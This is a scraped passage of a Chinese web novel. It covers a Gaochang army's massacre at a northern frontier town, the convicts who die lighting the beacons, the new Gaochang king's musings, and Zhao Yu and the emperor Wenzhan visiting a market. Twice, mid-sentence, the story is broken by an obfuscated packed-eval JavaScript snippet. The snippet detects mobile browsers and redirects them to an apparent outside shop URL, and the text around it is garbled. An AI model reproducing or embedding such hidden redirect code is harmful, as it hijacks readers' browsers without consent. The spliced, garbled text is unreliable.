“先帝?”老田把网中的火鸟都扒了皮,转手竖起来木网,继续抓,“如今那个新登基的小皇帝都死了。北境这日子,说起来,一年一年的熬着,就好像冻住一般,可其实吧,就没见个影子,顺着风嗖嗖的飞过去了。我这转眼就老了,离死也不远了。哎。我说后生,先帝是今年去的?” 何莲生,“先帝是七年前驾崩的。” 老田,“继任皇帝是个什么年号?” 何莲生,“元熙。” 老田,“今年是元熙七年?” 何莲生,“元熙十四年。” 老田,“怎么?” 何莲生,“先帝十四年前下诏退位,太子文湛登基,改元元熙。” 老田,“又是个乱臣贼子。” 说完,他嘿嘿一笑,好像空中盘旋的夜枭。 何莲生,“……?” 老田,“不说那爷俩儿了,我就问问你,当年的那位心善的大学士裴东岳现在还活着吗?” “裴相爷忧国忧民,劳心劳力,在三十几年前,就去了。”何莲生说,“先帝念他功高,画像进凌烟阁名臣塔,春秋两祭,香火烈酒烧猪肉,得享万世。这是足以名垂青史的尊荣,只是,……” “怎么?”老田问道。 何莲生叹气摇头,“裴相的妹妹是先皇后,没有约束好族人,致使裴氏几位手中有兵权的大臣在先帝病重期间逼宫,先帝将计就计,诛杀了裴氏三族,先皇后,还有裴氏一位贵妃都被赐自尽了。这都是明发的旨意,普天下的老百姓都知道。呃,……,也许不是全部的人,至少北境这里的人不知道,也没兴趣知道。” “这么多年了,王侯将相家中,左右不过那些事。”老田,“戏文里面怎么唱的那一句?——无情最是帝王家。” “也不对,……” 何莲生却说,“如今的皇帝就是先皇后的嫡子,如今的大郑一等定国公,就是裴相的独子。这么看来,也不能说先帝就完全无情,我觉得,至少他还感念裴相的谋国之忠,辅政之诚,也许还有一些年少时的师生情谊在,他还是念旧情的。不然,怎么裴相的画像还在凌烟阁中享受万世供奉?” 老田对这些都不太感兴趣,他抬头看着天。 那个日头像上古神话中,架着马车四处乱晃的周穆王,满天空的转悠,就是不肯落入地下,好好歇歇。 风吹来,流云拂过,野鸟乱飞。 “田大叔,我们这些罪人,一代一代的守在北境究竟为了什么?” 老田见自己的箩筐已经快满了,今天不打算继续杀生,他就用挂着网的木棍指着北方,“守着那里,那里是大郑的门户。” “什么?” 何莲生站起来,仔细向北看。那边什么都没有,只有一片冰湖,还有极远处隐在水雾中的山峦。 “那里已经是妖魔的地盘,怎么可能有敌人?” 老人想笑,因为他听人说了很多很多很多年。 当年宪宗皇帝收复破旧河山的时候,就有一支外族骑兵从西北绕过冻土荒原,从北境进攻,翻越大鲜卑山,入山海关,直捣居庸关。一路杀杀杀杀杀,没留一个活口,无辜的血染透了整个北方。 可是,这种故事已经流传了三百多年了,直到现在,没有见过第二支军队有这样的杀伐、胆魄,和运气。 就像何莲生说的,冰湖之外,已经是妖魔的地盘,怎么可能有活人? 一切不过是令人背后发冷的传说而已。 只是,…… 他闻到了风声。 风刮的有些邪性,呼啸犹如万鬼恸哭,并且,风向不太对。 老田虽然已经老朽,可是长年驻北境,没有红尘迷障,没有高楼广厦的阻挡,他的双眼如同猎隼一般,视线可以直接穿过冰湖,水雾,直接看到对岸! 冰湖似乎在颤抖。 迷茫中,一片黑色的旌旗,如同一片黑色的深渊。 “高昌王旗!” “那是高昌王旗!” “我的天!” “高昌王阿尔术依的王旗!” 老人惊恐的喊着,他扔了手边一切东西,一把抓住何莲生的手腕,一般向森林里面跑,“快,你是年轻后生,跑的比我快。你快回去,到长城垛口点烽火!高昌王阿尔术依亲自率兵马入侵北境!我们这里只有一些守边的老弱病残,根本没有兵马,阻挡不了任何进攻。他们只要渡过冰湖,不到一天就可以直入大鲜卑山!” 点狼烟?! 就因为看见一堆模糊的黑漆漆的旌旗? “可是!” 何莲生一把揪住老人,“高昌王阿尔术依早已经死了!高昌早已经灭亡!大郑西北边境已经大定!天下人都知道,我们不能谎报军情!田大叔,我们只是守边的罪人,不是周天子!我们连着活着都要战战兢兢,仰人鼻息,根本没有烽火戏诸侯的权力!” “高昌王死了?”老人在冻土住了太久,他对外面一无所知,可是他却看到那些迷障之后的真实,“如果阿尔术依死了,那么黑色王旗下站着的人,必定是他继任者,是亲族。不,连亲族都不够,一定是他的血亲!……骨肉,是,……儿子!那个可以挥动黑色高昌王旗的人,一定是阿尔术依的儿子!” 此时。 冰湖对岸。 黑色王旗迎着冻土呼啸的风,猎猎作响。 正中绣着图腾。 一只黑色的雀,如同西疆各个部族传说中的神鸟,锋芒毕露,向着长生天,舒展了它巨大的翅膀。 追兵比想象中来的更快,也更致命。 几道利箭破空而至,穿过树林,直接钉在老田的肩头,因为他在后面,挡住何莲生。可惜,不容喘息,第二支到了,箭头穿过了老田的后背,直|插前胸!老人疼痛难忍,跪地,铺满了落叶松针的柔软土地被他的膝盖跪出两个洞。此时,疼痛如同毒蛇,将他整个人绞杀,甚至连他呼出的气都弥漫着剧痛的苦味。 “后生,快,……,快回去,……找,……” “于把总,……” “烽火。” 这个老人,平时的混沌已经不见,他死之前最后几句话,虽然不流畅,却如同垂下的冰棱,根根分明,落地成钉! 为什么? 何莲生看着老人,已经死去,却如同一尊石雕。 为什么连死也想着点燃烽烟示警? 为什么? 北镇。 这里没有镇守将军的行辕,这里有的只是一个不漏风雪的平整院子,里面立着几间瓦房,勉强算是“官邸”,已经是难得的好地方。 这里的军方头目官阶低到惨不忍睹,只是一个把总,根本没有品级可言,却勉强吃上了皇粮。 这个人,就是于把总。 他不是罪人,因为他吃俸禄。 就因为这份俸禄,让于把总的位子“异常煊赫”,因为这份俸禄在方圆百里之内是独一份的。 这是他权力的根基。 “一天,还有一天!” 于把总看着黄泥墙上画着的“正”字,喃喃自语,“还有一天,我就自由了,我就能回家了。” 写“正”字,是他用来计算时日的方法。 整整十年的光阴,一面墙满满的“正”字。 每个字都是全须全尾,唯有最后一个字,还缺少最后一笔,像个没底的尿壶,让于把总看着有些别扭,不过,他很快说服了自己。 “徐绍徐总督幕府来了消息,最快今天晚上,最晚明天晚上,上面派来接替我的王把总就能到北镇。” “见到人,我把公务一交接,我就自由了,我就能回家了。” “一天,还有一天,……” “等见到那个倒霉的王把总,我这里的事情一扔,等一天,不,一个时辰,不,不,不,一柱香的功夫都不耽搁,我连夜走。” “脚程快的话,一天的功夫就能翻过大鲜卑山,到达南麓。” “我再也不回来啦!” 于把总不知道自己这十年被困在这个鬼地方究竟为了什么,思来想去,他终究为了活命,不仅仅是俸禄银子,而是真正的活命。 他隶属军方,不听调令就是死罪,全家流放。 并且,他的职责官面文章做的十足,——镇守北境门户。 哈! 北境门户? 北镇以北是森林;森林以北是冰湖;冰湖以北是冻土。 传说,三百年前,一支外族骑兵破北境直捣雍京居庸关,杀戮无边,血流成河。可传说中的大郑开国太|祖皇帝还他娘的能上九天揽月,能下五洋捉鳖呢! 那些玩意儿只存活在传说当中,现如今的活人们谁也没见过。 眼见为实! 眼见为实!! 令人脖子发冷的传说不过是帝王将相编纂出来吓唬愚民的伎俩,信它才活见鬼! 于把总从葫芦总倒出一碗烧酒,咕嘟咕嘟灌下去,正全身发热,舒服的仰躺在熊皮椅上,就听见外面一阵乱,何莲生浑身是血的闯了进来。 “于把总!” “快!” “点狼烟!” “冰湖北岸有高昌王旗!” “什么?!”于把总一怒,想要从熊皮椅子上鲤鱼打挺,却因为烧酒上头,让他直挺挺的倒了下去,“小兔崽子,吃饱撑的没事找事,你再满口胡沁,小心我抽烂你的命根子!让你老何家断子绝孙!” 何莲生被他骂懵了,“于把总,您这是,……” 于把总,“你说冰湖北岸有高昌王旗,那我问问你,你亲眼看见了?” “呃,……没有。”何莲生说,“可是田大叔看见了。” “老田头?”于把总怒气直冲脑门子,“他整天神叨叨,这个老糊涂,离死不远了!几百年来,北镇这里冷的连个带毛的活物都没有,你他娘的还想见高昌骑兵?我呸!高昌王早八百辈子见阎王爷去了,他那些残余都被钉死在西北,还想到咱们北镇?!你以为他们是鹰隼,能飞过一万里的冻土荒原?” 何莲生,“我虽然没有亲眼见高昌王旗,可是田大叔已经被他们的利箭射杀,以身殉国。我穿密林回来,骑兵无法通过,只能绕行无妄川,至少比我落后三个时辰。于把总,快,上长城,晚了,就来不及了。” “哈哈!”于把头,“你们一个一个的都是他娘的罪人,万里流放到北镇做苦力,死就死了,用土埋都嫌脏,也配说自己殉国?何莲生,我看在你亲娘用身子伺候老子舒坦的情分上,不和你计较这一回。要命的话,麻利的给老子滚!” “你!……” 何莲生感觉自己的脸皮被活生生的撕扯开。可是,此时不是计较私人恩怨的时候,有些话必须说。 “于把总,我是罪人也知道,如果高昌骑兵从北镇破关,你没有及时点燃烽烟,就是灭族大罪!” 一天! 只要一天! 我不相信这里的安宁支撑不过这最后一天! 如果点燃烽火,战事一起,我再也无法离开北镇。可是,只要我支撑到徐总督新委派的王把总到北镇,一切都是他的罪过,我就自由了。 于把总想要何莲生闭嘴,他越着急,酒劲越上头,他想要抽出放在手边的长刀,劈开面前这个乱说不详之言的小兔崽子,可是手指怎么也不听使唤。他挣扎了半天,刀还没有抽出,身后屋子中一个女人裹住棉袍子跑过来,向他赔了不少不是,死拉活拽的把何莲生拖离这个院子。 “娘!” 一股强烈的屈辱如同酸苦的胆汁,一下子涌上咽喉,堵住何莲生的嘴。 他想要甩开女人的手,可是他娘的手指如同钳子一般死死抓住他。他想要呕吐,可是却什么都无法吐出。 “娘!” “儿子,听我说,你快走。”女人的额头是细致的,即使经过了风刀雪剑,依旧留着原先江南士族妇人的柔美,“你说的话,我都听到了。这个于把总一心只想着和下一任交接,根本不想引火烧身。他不会点烽火的。” 何莲生,“那我上长城!” “混账!”女人双眼一厉,如刀一般,“你爹是个爱惹事,敢做不敢当,连累妻小的窝囊废!你学什么不好,偏要学他这个?长城垛口有重兵把守,凭你一个人,不要说点烽烟,就算靠近垛口一里,恐怕都要被硬|弩射成筛子。” “你活腻了?” 何莲生,“可是,……,娘,高昌人,……” “那与你何干?”女人的声音如同浸润了鸩酒,“北镇的人都死绝了,不正好?” 何莲生,“……” 女人忽然一笑,“高昌人破境入侵,北镇的一切都会烟消雨散,贮存在这里的罪档都会被毁灭。” “儿子,你走!” “只要你离开这里,山高水远,天大地大,不怕没有容身之所!以后更名换姓,外人不知底细,哪个知道你就是北镇脱逃的何莲生?等风平浪静之后,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728971|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再找个正经营生,娶妻生子。儿孙一出生身家清白,永远不会背负着罪人的重枷再任人践踏!” 我们只是罪人。 是大郑遗弃的罪人。 我的生死在大郑如同蝼蚁。可为什么,我们还要守住北境门户,为什么,我们看到敌军还要用命来示警? 为什么? 世上很少侥幸。 于把总在夜晚之前看到了前来代替他镇守北镇的王把总,他们喝了酒,吃了干肉和烤鱼,还有牛乳酿造的酸浆酪。如果不是王把总新来乍到,不敢过于逾越规矩,于把总甚至想要把何莲生的亲娘叫过来陪着王把总睡觉。 于把总没有多喝酒,因为他要赶夜路。 吃喝完毕,他把一切事务砸给新来的王把总,就带上自己早已经收拾好的包袱,如同逃命一般离开北镇。 他甚至没有把自己墙面上那最后一个“正”字补全。 那个字,依然像个漏底的尿壶。 并且。 已经永远也无法补全了。 于把总一出北镇就被一支弩|箭射穿咽喉! 他倒在草地上,正好看见头顶的星河,此时,他居然有些后悔,怎么从来没有抬头看看夜空?这些年,他究竟做了一些什么? 杀戮在寂静的夜中展开。 何莲生被他的母亲赶了出来,他躲在山林阴面向镇子中看,却什么也看不到。 没有人点灯。 这就是战争! 他惊异于原本鲜活的人一瞬间头身分离。 “身体发肤受之父母”,原本不舍得剪掉的头发,被小心保护、免于受伤的身体,健康的四肢,传上鞋子,不至于被草根石粒割坏的双脚,此时都像被随意丢弃的腐肉。昨日还说笑着要用鱼皮给外孙做一身衣服的孙大娘,被一把长刀切飞了脑袋。她脸上的笑容早就消失的没有踪影,恐惧凝聚在面皮上,那颗头颅像个蝈蝈笼子一样骨碌骨碌的滚着,她张开的嘴巴在滚落的过程中,塞入了杂草,野花,还有早已经干涸的狐狸屎。 “后生。” 何莲生似乎听见了老田头的声音。 “打过猎吗?” “遇过狼群吗?” “一头被斗败的狼在狼群中可能活的不如狗,只能吃残渣,可它依旧是狼。一旦狼群被攻击直至毁灭,它就不再是狼,而只是一块肉。一块被野狗啃噬,被撕咬,被丢弃,在泥坑中腐烂的肉。” 何莲生紧紧攥住手中的包袱,里面有他娘偷来的一把军刀。 他看着东方。 那里是长城垛口。 与此同时。 北镇外,一座土丘上,几人端坐于匈奴骏马之上。一人伸手,摘掉原本照在头上的黑色披风,露出清冷如月光一般的额头,与一双蓝色的眼。 “穆先生。”他看着眼前这场黑暗静寂的杀戮,如同看着一株被修剪的不甚合心意的曼陀罗花,“你们郑人有一兵书,流传数千年,过多的谬误,过多的演绎,不过,其中有一句话,此时却非常应景。” 穆慎之是随侯石寰幕府第一人。 这些年见惯了战争,也见惯了杀伐,却第一次见眼前这种人。 新一任高昌王拥有一双冰蓝色的眼睛,仿若昆仑万年不曾消融的坚冰;可是,他却说着一口金尊玉贵的雍京官话,那种语调和声音,就像是雍京不可一世的王侯。这两种特质原本是血仇,是战争的对立双方,是不死不休的死敌。此时,却匪夷所思般的融合在同一个人身上。 “国虽大,好战必亡;天下虽安,忘战必危。”高昌王不笑,忽然扭头看着穆慎之,蓝色的双眼如同刀锋,“先生可知道,此话出自哪一本兵书?” “司马法。”穆慎之,“仁本。” “数百年来,你们西北边境承受了整个王朝对抗外敌的战争,那里的边民如同狼一般的凶猛。”高昌王说道,“虽然北境这里也有些战乱,酷烈程度却远远不及西北,所以,这里的人就像兔子和羔羊一般。穆先生,您给我的这张地图,正当合用。使我知道郑的北镇防守最弱,长城如同虚设,不燃烽火,这样我们可以走的更远。多谢。” 这句谢,说的如同尖锐锋利的利剑。 穆慎之想要解释,却张张嘴,什么话也说不出来。 无论他说什么,他就是可耻的背叛者。 高昌王却又道,“读书人,双手没有拿过比毛笔更重的东西,更不要说刀剑了。如此,书生又如何在乱世保全自己的身家性命?自然是良禽择木而栖。既然你们的皇帝辜负了随侯,也辜负了你,穆先生另投明主,如同魏鞅相秦,诱败魏军一般。在战争中勾结我这种异族,对你们读书人来说不算失节,也不算什么严重的事体。先生是儒生,自然知道,孔圣人尚且——如有用我者,吾其为东周乎!何况你这种凡人?” 穆慎之却丝毫没有松一口气的感觉。 相反。 他感觉自己的咽喉被人扼住了。 一个异族的新王,如此熟知大郑圣贤教化,却没有丝毫敬意,反而扒皮诛心一番,让穆慎之简直无地自容! 杀戮已经停止。 高昌王看着静寂的四周,似乎有虫儿鸣叫的声音,更显幽谧。 忽然! 他眼神一烈。 长城垛口有火光! 高昌王没有使用任何弓|弩,他只是从马背上的箭筒中轻取一支羽箭,手指微微一弹,这根羽箭好似承受万钧之力,切开夜幕,直入烽火台! 一声惨叫。 何莲生已经没有力气拔出胸口的羽箭,他提着最后一口气,将胡杨、罗布麻、甘草与红柳做的柴薪浇了胡麻油,用火把点燃。狼烟伴着火光,冲破夜空,直直升起。 下一步,高昌王的马已经踏上长城的青砖。 高昌王下马,沿着青砖一步一步,他到烽烟前面停止脚步,看着已经濒死的何莲生,“你怎么不逃?” 何莲生,“逃不了。” “为什么?”高昌王道,“我不知道有活口,自然不会继续灭口。” “逃的出北镇,却逃不过内心。”何莲生握住嘴,鲜血汹涌而出,“我何氏书香传家,养不出这种子孙。” 高昌王忽然问何莲生,“你叫什么名字?” 然而,再也没有回答。 何莲生死了。 没有人知道他的名字,没有人知道他死前做过什么。他就如同一粒须弥草芥,无声无息的消逝在大千世界当中。 一个弹指之后,十里外的第二个烽火台也燃起烽烟。 穆慎之赶上烽火台的时候,正看到此景。 他以为高昌王功亏一篑会发怒,没想到,此时,这位莫测的人看着眼前烽火狼烟,眼中的坚冰似乎被融化。 高昌王望向南方。他的眼神如同雍京城外那条落满了桃花的镐水一般,竟然带着一丝令人无法置信的柔情,似乎,那里不是与他的部族拥有数百年血仇的敌国,而是他最深刻的思念。 第三个烽火台升起狼烟,第四个,第五个,第六个,……,整个长城如同一条燃烧的巨龙,从北镇一直蜿蜒越过大鲜卑山,直入山海关。 这是“他”的国度。 这个国度总有一些人,外表脆弱,双手似乎从来没有拿过比毛笔更重的东西,却有着不屈的魂魄。 永远不会在入侵者铁蹄下呻|吟,也永远不会在屠刀杀戮下颤抖。 宁为玉碎不为瓦全。 像“他”! 穆慎之只觉得这个高昌王犹如屠刀一般,——殷忘川。 一个十足不像高昌人的名字。 却是他们的王。 此时,他方见高昌王右手一直拿着一串念珠。 看纹路应该是海南黄花梨,似乎从不离手,已经被磨出玻璃底,木串如同琉璃一般通透。用黑色丝线缠了金丝打成络子,缀着一块羊脂玉雕刻的玉牌。上面大篆雕刻着“承怡”两个字。 ——祈王府的旧物? 并且,似乎是祈王曾经的贴身之物。 为什么会在异族人手中? 114. 114 114 岐山。 文湛行宫寝殿。 日出之前。 不知道怎么了,赵毓睡的有些不踏实。 他不像文湛有海量国政要处置,整日宵衣旰食,早已成了习惯。赵毓属于天生慵懒觉多的人。那些年在西北,就算战事再要紧,每日他也要足足睡到三个时辰,雷打不动,如今太平了,他就越发的懒惰,不到日上三竿绝对不起床。 今早不同。 他似乎预感到什么,半梦半醒之间,一些过去的破碎记忆如同荡在水面上的浮光,在他脑中呈现。 一扇门,打开。 很黑。 屋子是旧的,五百多年的古檀木黑色骨架支撑着,沐浴在斑驳的月光中,显得异常幽暗,一人侧身站在巨大的门框中,一双苍冰色的眼睛,就像是被钉在夜空天际的星。 赵毓听见自己的声音,“小莲,离开雍京吧。” 那人不说话。 偌大的屋子中,只有赵毓一个人的喋喋不休。 “承怡。”那位“小莲”忽然开口,“你怎么不问我,为什么到雍京,又为什么到你王府中?” 赵毓有些身不由己,他眼睁睁看着“自己”推开门,走出去,却终于驻足,回头说,“无论你怀着什么目的到雍京,无论你来做什么,想要做什么,又或者说,已经做了一些什么,……,高昌已经是故国。你父王阿尔术依随着高昌城破被绞死在一张硬弓上,高昌王师全部自尽殉国,死去的人已经足够多,不用再加上你的一条命。” “承怡,今年腊月,劫杀太子殿下的刺客,就是我。”那位“小莲”也终于开口,他天赋极高,在雍京、在祈王府的这些时日,竟然学会了一口极好听的官话。“即使这样,你还能让我全身而退吗?” “太子殿下在你心中的地位无人可及,任何伤害他的人,你不想处之而后快?” “现在放我离开,你不怕终究有一天,他也死在我的手上?” 赵毓又听见了自己的声音,“你不恨文湛,你真正恨的人是我。太子和你是各为其主,没什么可说的,可是我不一样,是我对你始乱终弃,也是我侮辱了你。我从开始到现在都没有对你真心。你离开王府之前说的对,我对别人的好意都是虚假的,我彻头彻尾就是一个伪善的小人。” 一切尘缘不过都是镜花水月,无论怎样鲜活的生命,怎么热烈的情感,也只不过是电光石火,终究会色空幻灭,众生俱忘。 在这之外呢? 每年端午,依然是鲜花繁茂,燕语莺声。 雍京就像一只怪兽,端坐于时光之川,看着时间流逝于它身边呼啸而过,甚至不用感慨’逝者如斯夫’!它不会为任何人喜悦,也不会为任何人悲伤,死去的人已经死去,活的人终究会死去,只有它是永恒的。这就是大郑的千年京师,壮美如诗,却毫无怜悯。 “小莲,或者我应该叫你的名字,真正的名字。”赵毓,“殷忘川,想杀我,我等着,不过在这之前,先平安的活下去。” 赵毓感觉到脸颊上有一只手,一直在轻轻摩挲着。 他睁开眼睛。 近在咫尺,是文湛的眼,他抱着他,手指贴在他眼角外面,指腹微微画着圆圈。 “怎么了?” “你睡的不安稳。”文湛说,“做噩梦了?” 赵毓认真的回想了一下,发现睁眼之前确凿的回忆都成了残渣,被寝殿雕花窗外面的日光照的没有一丝踪影。 他说,“我好像是做梦,但是想不起来是什么,感觉梦里似乎有一个人,……,却忘记是谁了。” “既然想不起来这人是谁,想必没那么重要。”文湛把赵毓的身子轻轻放在床榻上,“刚日出,你再睡一会儿。” 赵毓用手背揉了揉眼睛,“醒了,不太想睡。” 他躺好,身子嵌入厚厚的锦绣被褥。 睡袍翻开。 文湛的手顺着赵毓翻开的衣襟,抚到了他裸着的膝盖。 两情相悦的鱼水之欢,像是平地拔起万丈高峰,却又轰然崩溃,犹如冰雪融化成为千万水珠,袅袅飘落人间。锦帐早已经挂起,无限春光没有阻挡,倾泻了整个宫殿。 “陛下。”赵毓叹息一般声音呢喃着,“在榻上,您可真像一头兽。” 文湛密合上来的亲吻,像是用蜂蜜黏起来一般,两个人的嘴唇怎么也无法分开,仿若依然年少时候的痴狂。 皇帝就感觉赵毓的嘴唇似乎是珍馐,是琼浆,是等候千年才结出的浆果! 甜美的滋味从里而外渗透了出来,比糖更甜美,比蜂蜜更腻滑,一定要小心翼翼的舔舐,才能品出个中滋味。 黄昏。 文湛牵着两匹马,跟着赵毓身后。 岐山虽然是皇家圣地,却并非寸草不生的荒地。山脚下有零星村落。再走远一些,还有镇子与集市。今天是阴历的十六,这里正好有集。十里八乡的村民聚集在一起赶集,买卖吃喝,上香许愿,走亲访友,无论做什么,都可以把人从繁重无聊的农活当中解脱出来,乐上一天。 也许岐山这里当真有仙气,千年来,随着大郑国祚昌盛,宗庙延绵不绝,神宫香火不断,导致这里的神仙之气越烧越旺。小镇中有许多庙宇和道观,据传异常灵验,所以香火旺盛,每个神龛上都烟雾缭绕。而沿着前人砌出的是石板路,两旁生长了一些古树,还有一些粗粝的花藤,大多挂上“某某大仙”的牌子。这表明,它们不是普通的草木花朵,而是已经得道的藤精树怪。 赵毓伸手翻了一个木牌,上面写着——绿葱大仙。 他再仔细一看,木牌旁边,正好生了几棵绿油油的大葱,顶上开了花,正张开两只外绿内空的胳膊,显出一派欣欣向荣的美好景致。 赵毓,“这绿葱大仙能保佑我们什么呢?” 木牌另外一边是一个卖话本的小贩,嘿嘿一乐,“这位老爷有所不知,大葱能干的事情可多了!可以调味,可以佐餐,还可以祛除死人恶臭。若是家中有不干净的东西,或者是死而复生的诈尸,都可以用大葱阻挡一阵子,让您有命活着跑出来,找天师捉鬼降妖。” 赵毓挑了挑眉,他对于这些话没有兴趣,却忽然看到小贩面前摆放的话本。 他蹲下,拿了一本《持剑一笑万山癫》。 翻开。 书页的内容是昆仑教王殷大力劝眼前这个不要命的少年放下屠刀。 他说,“人是人他娘生的,你活这么大不容易,你是吃饭长大的,不是喝西北风长大的,你要是死在我的剑下,那会白白浪费了多少年的粮食。圣人曾经曰过,上天有好生之德,放人一命胜造十三级浮屠,……” 接下来,就是唐僧念经一般的劝人弃恶向善。 赵毓翻过四页纸,终于看到那个少年被殷教王的话感动的痛哭流涕,弃刀下跪,口中不断说道,“我一生混沌无知,今后一定痛改前非,每日吃斋念佛,绝对不踩死一只蚂蚁,希望老天有眼,饶恕我过往的罪孽。” 最后,写话本的还来了一句总结。 这就叫: ——少年人不识英雄汉,殷教王苦劝弃屠刀。 赵毓从那个小贩手中买了整套《持剑一笑万山癫》,甚至没有讨价还价! 小贩一见是肥羊大主顾,心知已经狠狠宰了一刀,心中仅存的一丝善意让他做生意异常巴结。卖书之后,这位小书贩子甚至还奉送给赵毓一个粗布的布袋,专门用来装这几本粗制滥造的话本。 赵毓把布袋挂在手腕上,拿出一本来,边走边看。 文湛一手牵着马,一手拉着赵毓。他看到一间茶楼,勉强算是干净,到跟前,将两匹马的缰绳交给小二,就由着伙计带路,自己则牵着赵毓的手上楼。 没想到,他们雅间到还没有走到,却遇到了一位打扮精致的妇人,见到赵毓颇有些意外,“赵老爷,您也来岐山上香?” “玉芳姑娘?”赵毓从书页中抬头,“我们不上香,我们来赶集。您这是,……” “我陪着一个老斗出来做些事。”玉芳答道,“这不到饭点了嘛,他的事情没有做清爽,我就一个人下馆子吃点东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过,在那团浆糊中,她确信了一件事,——赵毓此人重色,却不重女色。他身边有一个如珠如宝的小白脸,亦步亦趋,唯其马首是瞻。 应该就是眼前人。 坊间传闻,此人是没落世家子弟,不知道为了什么,一定要跟着赵毓。 大抵为了银钱。 昔年的西北道独霸一方,尚且有永嘉的十三行与之分庭抗礼,成南北商帮对抗之势;如今的十三行已经杳无音信,而如今的赵毓,如今的元承行,于去年雍京的白银之役上一战成名,发行的债票等同白银,甚至比一般的银锭拥有更强悍的信用与威权,地位早已不可同日而语。 似赵毓此等江湖地位,此等财力和权势,包养一个世家子弟,并没有异常惊世骇俗。 况且,这个小白脸如此俊秀。 只不过这样的王孙公子,不论天赋高低,因为远离烟火人间,大抵都是一个毛病,——不通市井人情世故。 赵毓对文湛说,“老斗是恩客。” 玉芳笑着说,“也是我多年的老相好。” 文湛陡然明白了眼前这位妇人的身份,他对玉芳说,“失礼了。” 而玉芳则一直看着他的眼睛。 有些意外,她从文湛的眼中看不到寻常人的轻视,似乎,自己出身娼门对于他来说与自己是农家女、良家子并没有任何不同。 就像赵毓。 他们的眼中映不出这个世上人人敝帚自珍的三六九等的身份。 世袭的权贵比一代科举出仕的精贵;读书做官的比农人精贵;住在雍京北城的比南城的精贵;农人比商人精贵;富人比穷人精贵;男人比女人精贵;良家子比贱民精贵。 等等。 可这些人对于赵毓他们来说,仅仅像是戏台子上的各个角色,只有扮相不同,没有身份高低贵贱的差异。 可以说着谦和至极,也可以说是傲慢至极! 因为他们将所有人一视同仁。 ——一视同仁的贵重,一视同仁的轻贱。 115. 115 115 玉芳看到赵毓手边有一本书,就问,“赵老爷看的什么书?” 赵毓把书本递给她,“方才在路上买的,玉芳姑娘您见多识广,帮我看看,这书中写的可是真事?” “我识字不多,一般的圣经贤传看不懂,不过这话本还是可以翻翻的。”玉芳接过书本,翻开,看了看书页写的故事,忽然拿着手绢捂住嘴,笑了,“昆仑教王殷大力?” 赵毓赶忙问,“姑娘可知,世上真有此人?” “这我就不知道了。”玉芳则说,“如今太平盛世,以武犯禁这种事,想必做的人也不多,毕竟,朝廷科举选士,这个士,有读书人,也有习武之人。只要中了武举,得了差事,就是正经的朝廷武官,有俸禄,有官爵,可以奉养老人,也可以恩荫子孙,比话本中这些游侠们整日劫富济贫,过着有今天没明天的日子要好太多了。赵老爷是做大事的人,应该不常看这些话本,所以不太懂。书中写的东西都是虚的,如果不这么写,书就卖不动了。不过,这本《持剑一笑万山癫》写的也不好。” 赵毓不明白,“怎么不好?” “太说教。”玉芳又翻了几页,“赵老爷您看,一个殷教王说服少年放下屠刀立地成佛的章节就写了五六页,拖沓又无聊。虽然说劝人弃恶向善是好事,但是一味的说教,就如同把白饭放馊了再喂人硬吃下去,实在不好。如果赵老爷想要看话本,我知道几本写的好,在坊间流传也广的,我给您列个书单。” “有劳,有劳。”赵毓道谢,又问,“写的好的话本,大抵是怎样的?” “分谁看。”玉芳答,“毕竟人不一样,喜欢的故事也不一样。” 赵毓,“这个我猜得到,话本故事要写的好,应该是分两种:一种给男人看的,一种给女人看的。” “大郑的教化,女子无才便是德。”玉芳一笑,“女子识字的不多,手中有闲钱的更少,不要说买话本解闷,就是买一些胭脂水粉,都是女为悦己者容,还要被人说浪费,不会勤俭持家,是妇德有亏。如果话本的故事专为女子而写,写书的和卖书的都要喝西北风。” 随后,她合上书,还给赵毓,才说,“看书的分两种人:不甚得志的书生与不识字的百姓。” 赵毓,“哦,……” 玉芳,“俗话说,寒不择衣,贫不择妻。一般百姓早明白这个理儿,知道手中家底薄,找老婆只要有个女人肯生儿育女,操持家务就好。他们对于这些风月之事没有太多的妄念,喜欢的故事大多就是路见不平一声吼,游侠劫富济贫,又或者是盖世大英雄保家卫国这样的传奇故事。” “而认识字的书生却不同,他们喜欢的故事也分两种。” “一种是风月传奇。故事大约就是书生入京赶考,因为穷困潦倒而夜宿兰若寺,遇到女鬼母狐狸精或者画轴中人成了仙子,又或者是归隐的宰相王公家的千金小姐。这些女子不是庸脂俗粉,可以透过那些书生猥琐单薄,又或者是蠢笨如猪的皮囊,笃定他们都是状元之才,日后必会显达,所以甘愿自荐侍奉枕席,服侍左右。等到书生金榜题名之后,这些女子便会功成身退,让书生再嫁望族豪门。” “而另外一种,则是仕途传奇。每个读书识字的人,不想别的,都认为自己是国士无双,肚子中有经天纬地的大才,只要入朝为官,一定就是忠臣良相,值得君王三顾茅庐。” 说道这里,玉芳又是一笑,“我一个女人,不喜欢什么忠臣良相辅佐明君圣主的大格局的故事,喜欢看的都是游侠劫富济贫,打抱不平的传奇。不过,书生们喜欢的风月传奇当中,有些正经写的不错。比如落叶笑笑子的《狐女》,讲的就是一个公狐狸精,为了报恩人被始乱终弃的仇变身成为一个母狐狸精,勾引仇人老爷抛妻弃子,整日就想着颠鸾倒凤,在朱熹老爷的牌位前面私藏了春|宫图,而被皇帝老爷子千刀万剐的故事。” 赵毓则说,“我大约明白了。书生认得字,却没有祖传的土地,考不上功名,无法成为在朝为公卿,在外为封疆,在野为砥砺气节、治理乡间的士人,再加上心高气傲,想的自然都是这些没影儿的事。只是,……” 他话音未落,文湛忽然插|了一句,“皇帝的年岁也是有老有少,为什么大家一开口就是他老人家,再一说话,又是他老爷子?” 